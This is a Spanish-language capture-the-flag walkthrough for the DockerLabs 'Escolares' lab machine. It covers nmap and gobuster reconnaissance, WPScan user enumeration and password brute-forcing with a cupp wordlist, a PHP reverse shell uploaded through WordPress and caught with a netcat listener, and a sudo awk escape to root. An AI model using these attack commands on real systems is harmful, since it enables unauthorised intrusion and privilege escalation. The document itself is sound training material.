> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-facil/escolares.md).

# Escolares

### **1. Despliegue de la máquina**

#### **1.1. Descarga**

Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **Escolares** y pulsamos el botón de descarga.

Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que incluye tanto la imagen de la máquina como el script necesario para su ejecución.

#### **1.2. Descompresión**

Utilizamos la herramienta `7z` para extraer el contenido del archivo comprimido `escolares.zip`:

```bash
7z x escolares.zip
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FPmZ4sSpqWTbTXs3wFlXo%2FPasted%20image%2020250829114053.png?alt=media&amp;token=d0ad1e56-9a5c-4e6c-a2d3-9e82217bfe33" alt=""><figcaption></figcaption></figure>

#### **1.3. Ejecución**

Ejecutamos el script `auto_deploy.sh` para levantar la máquina en Docker, pasando como argumento el archivo `escolares.tar`:

```bash
bash auto_deploy.sh escolares.tar
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FiKt4Al6uAqNib7y0Q9gv%2FPasted%20image%2020250829114136.png?alt=media&amp;token=6e83bf6c-a5cd-4274-8c8a-9b1cd961eff1" alt=""><figcaption></figcaption></figure>

### **2. Reconocimiento**

#### **2.1. Verificación de conectividad**

Realizamos un `ping` a la dirección IP de la máquina (`172.17.0.2`) para confirmar que está activa:

```bash
ping -c 1 172.17.0.2
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2F0DZ4aj7fsEvw24N0slDE%2FPasted%20image%2020250829114228.png?alt=media&amp;token=98481e74-98a2-47ef-b95b-8144caa48765" alt=""><figcaption></figcaption></figure>

#### **2.2. Escaneo de puertos**

Realizamos un escaneo rápido con `nmap` para identificar puertos abiertos:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```

**Explicación de los parámetros:**

* `-p-`: Escanea todos los puertos TCP, del 1 al 65535.
* `--open`: Muestra solo los puertos que están abiertos, omitiendo los cerrados o filtrados.
* `-sS`: Realiza un escaneo SYN (stealth scan) que no completa la conexión TCP.
* `--min-rate 5000`: Fuerza una velocidad mínima de 5000 paquetes por segundo, acelerando el escaneo.
* `-vvv`: Activa el nivel máximo de verbosidad, mostrando información detallada del proceso.
* `-n`: Evita la resolución DNS, usando solo direcciones IP.
* `-Pn`: Omite la detección de host activo, asumiendo que el host está disponible.
* `-oG allPorts`: Guarda los resultados del escaneo en formato grepable, en el archivo `allPorts`.

**Resultados del escaneo:**

* **Puerto 22:** `SSH`.
* **Puerto 80:** `HTTP`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FXySJPaqlpNfz2xVWElNa%2FPasted%20image%2020250829114333.png?alt=media&amp;token=2265c64a-c4ca-43a0-9dd0-017e61b7c12b" alt=""><figcaption></figcaption></figure>

#### **2.3. Escaneo detallado**

Realizamos un escaneo más exhaustivo para obtener información adicional sobre los puertos abiertos:

```bash
nmap -p22,80 -sCV 172.17.0.2 -oN targeted
```

**Explicación de los parámetros:**

* `-p22,80`: Especifica los puertos a escanear.
* `-sCV`: Combina la ejecución de scripts básicos de reconocimiento (`-sC`) con el escaneo de versiones (`-sV`).
* `-oN targeted`: Guarda los resultados del escaneo en formato normal, en el archivo `targeted`.

**Resultados del escaneo:**

* **Puerto 22:** `OpenSSH 9.6p1 Ubuntu 3ubuntu13`.
* **Puerto 80:** `Apache httpd 2.4.58 ((Ubuntu))`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FE29uADptEU78dnCrRQlP%2FPasted%20image%2020250829114420.png?alt=media&amp;token=6d6c77ac-b955-48c7-8802-ee30a5e546b1" alt=""><figcaption></figcaption></figure>

#### **2.4. Análisis del servicio web**

Accedemos al servicio HTTP mediante el navegador en `http://172.17.0.2/`.

Observamos una página web con información de una universidad de ciberseguridad, sin contenido aparentemente relevante.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2F6MBUgTD38tBwgPiD1Veb%2FPasted%20image%2020250829114454.png?alt=media&amp;token=b3e12f8d-bec8-48be-a618-fb24b6d17e23" alt=""><figcaption></figcaption></figure>

Al inspeccionar el código fuente, identificamos un comentario que hace referencia a un recurso oculto:

```html
<!-- INFORMACION PERSONAL ACADEMICO -->
<!-- /profesores.html -->
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FX1Kpmcv1V56Ip4KsLzwK%2FPasted%20image%2020250829114616.png?alt=media&amp;token=287bae5c-2052-48b9-a364-4576185181ad" alt=""><figcaption></figcaption></figure>

Accedemos a `http://172.17.0.2/profesores.html` y encontramos información personal de varios usuarios, entre los cuales destaca el usuario `luis`, marcado como administrador de WordPress.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FXHDUjWSGvrAGoeif7T8Z%2FPasted%20image%2020250829114640.png?alt=media&amp;token=8e490559-7f32-4cb0-ac18-25408175faac" alt=""><figcaption></figcaption></figure>

#### **2.5. Enumeración de directorios**

Utilizamos `gobuster` para descubrir rutas ocultas en el servidor web:

```bash
gobuster dir -u http://172.17.0.2/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
```

Descubrimos el directorio `/wordpress`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FVWFc3hCUpF6KKMY3XWTP%2FPasted%20image%2020250829114803.png?alt=media&amp;token=1f3099aa-58ba-40b8-b536-3c10521ad95c" alt=""><figcaption></figcaption></figure>

Accedemos a `http://172.17.0.2/wordpress/` y confirmamos la existencia de una página web hecha con WordPress.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FfxdP840ZEw9cZEj4syc2%2FPasted%20image%2020250829114837.png?alt=media&amp;token=42e84305-7c71-40eb-b336-911e943004be" alt=""><figcaption></figcaption></figure>

### **3. Explotación**

#### **3.1. Enumeración de usuarios con WPScan**

Utilizamos `wpscan` para identificar usuarios válidos:

```bash
docker run --rm wpscanteam/wpscan --url http://172.17.0.2/wordpress/ --enumerate u
```

**Usuario identificado:** `luisillo`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FnqbT7yCnNz0IXhXGqWF6%2FPasted%20image%2020250829115106.png?alt=media&amp;token=5f86c27d-d2a5-4848-b31a-ee5dd03ff93f" alt=""><figcaption></figcaption></figure>

#### **3.2. Resolución DNS local**

Al intentar acceder al panel de administración de WordPress (`http://172.17.0.2/wordpress/wp-admin`), encontramos un error de resolución DNS relacionado con el dominio `escolares.dl`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2Fmzl4abiNmrWJTkxlua8j%2FPasted%20image%2020250829115224.png?alt=media&amp;token=f26269f8-41d3-4d69-bbf6-974aec6e13ee" alt=""><figcaption></figcaption></figure>

Para solucionarlo, añadimos la siguiente línea en el archivo `/etc/hosts`:

```bash
172.17.0.2 escolares.dl
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FjfrchLzWjTCWCmQ1pyxQ%2FPasted%20image%2020250829115401.png?alt=media&amp;token=7facfc9a-0543-433a-880c-17d9632c924e" alt=""><figcaption></figcaption></figure>

#### **3.3. Fuerza bruta de contraseñas con diccionario personalizado**

Creamos un diccionario personalizado con `cupp` utilizando la información recolectada previamente:

```bash
cupp -i
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FZwyFStEcijTrR0Rz0UMU%2FPasted%20image%2020250829115858.png?alt=media&amp;token=8fad8879-e52d-40f0-97a7-fef5cbbc0cca" alt=""><figcaption></figcaption></figure>

Ejecutamos `wpscan` para realizar un ataque de fuerza bruta contra el usuario `luisillo`:

```bash
docker run --rm --add-host escolares.dl:172.17.0.2 -v /home/brias/Desktop/brias/Escolares/content/luis.txt:/tmp/luis.txt wpscanteam/wpscan --url "http://escolares.dl/wordpress/wp-login.php?redirect_to=http%3A%2F%2F172.17.0.2%2Fwordpress%2Fwp-admin%2F&reauth=1" --usernames luisillo --passwords /tmp/luis.txt
```

**Contraseña encontrada:** `Luis1981`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FJQzhnu5BVvL6Jq0PyJNg%2FPasted%20image%2020250829120505.png?alt=media&amp;token=634d0e42-6933-41e9-8c64-50095c04e36a" alt=""><figcaption></figcaption></figure>

#### **3.4. Acceso al panel de administración**

Iniciamos sesión en el panel de WordPress con las credenciales obtenidas `luisillo:Luis1981`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FSp4zSjCtwd0FhQ27VnH1%2FPasted%20image%2020250829120535.png?alt=media&amp;token=177ae509-5154-4cc5-a34f-6584e9bfe737" alt=""><figcaption></figcaption></figure>

#### **3.5. Subida de reverse shell**

Accedemos a [revshells.com](https://www.revshells.com/) y copiamos el código de una reverse shell en PHP.

Lo pegamos en un archivo nuevo en nuestro equipo, al que llamamos `ReverseShell.php`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FGRDtT2ezGFeauUAvTOQb%2FPasted%20image%2020250829120719.png?alt=media&amp;token=8293f2c7-7e74-4eaa-a028-88cc21614cfd" alt=""><figcaption></figcaption></figure>

Luego, dentro del panel de WordPress, hacemos clic derecho sobre la carpeta donde queremos subir el archivo y seleccionamos la opción Upload files.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2F6YIdN2SpnPQhEHVVydk1%2FPasted%20image%2020250829120755.png?alt=media&amp;token=f7c7b672-6028-4e2a-b0a2-1fb5259b6ad7" alt=""><figcaption></figcaption></figure>

Seleccionamos el archivo `ReverseShell.php` desde nuestro equipo, y al finalizar la carga, comprobamos que se ha subido correctamente a la ubicación seleccionada.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FhRBWpCBjTlDDwoi16p2S%2FPasted%20image%2020250829120810.png?alt=media&amp;token=192f08b2-af3f-46f6-bc71-247bb515c09d" alt=""><figcaption></figcaption></figure>

Nos ponemos en escucha en el puerto `1234` para recibir la shell:

```bash
nc -nvlp 1234
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2F4jEg0R9mpYa20ALHtoCh%2FPasted%20image%2020250829120839.png?alt=media&amp;token=a1b35bc7-10a0-475d-8fa5-40dc0074252d" alt=""><figcaption></figcaption></figure>

Ejecutamos el script accediendo a `http://172.17.0.2/wordpress/wp-content/uploads/ReverseShell.php` y obtenemos una shell como el usuario `www-data`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FPLHONgLHIcv2anlxlBbc%2FPasted%20image%2020250829120952.png?alt=media&amp;token=01b6fbae-4ff7-4596-8c13-574f0fd6f311" alt=""><figcaption></figcaption></figure>

### **4. Escalada de privilegios**

#### **4.1. Acceso al usuario luisillo**

En el directorio `/home`, encontramos un archivo llamado `secret.txt` que contiene la contraseña del usuario `luisillo`:

```bash
cat secret.txt
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FKKfM32Nd3VlSWoNQVeYW%2FPasted%20image%2020250829121120.png?alt=media&amp;token=ad29c8e0-07b6-40ee-8766-d84e07f2ea04" alt=""><figcaption></figcaption></figure>

Cambiamos al usuario `luisillo`:

```bash
su luisillo
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FMLnRMqMcus9AZ3uHPNJd%2FPasted%20image%2020250829121136.png?alt=media&amp;token=4eaf363c-5f34-44c9-87fb-546ebc97c6af" alt=""><figcaption></figcaption></figure>

#### **4.2. Análisis de privilegios**

Ejecutamos:

```bash
sudo -l
```

**Resultado:** Podemos ejecutar `/usr/bin/awk` como `root` sin proporcionar contraseña.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FcEDgXVN6XXivvrk4nht6%2FPasted%20image%2020250829121229.png?alt=media&amp;token=84534703-88a4-480d-a4f0-eec966ad4d1d" alt=""><figcaption></figcaption></figure>

#### **4.3. Abuso del binario**

Consultamos [GTFOBins](https://gtfobins.github.io/gtfobins/awk/) y ejecutamos:

```bash
sudo awk 'BEGIN {system("/bin/bash")}'
```

**Resultado:** Obtenemos una shell como `root`, completando exitosamente la escalada de privilegios.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FuaALRKyaIHyR9N6t4NEt%2FPasted%20image%2020250829121305.png?alt=media&amp;token=3b5d10d8-9556-4805-b5dc-81ebc63f9730" alt=""><figcaption></figcaption></figure>
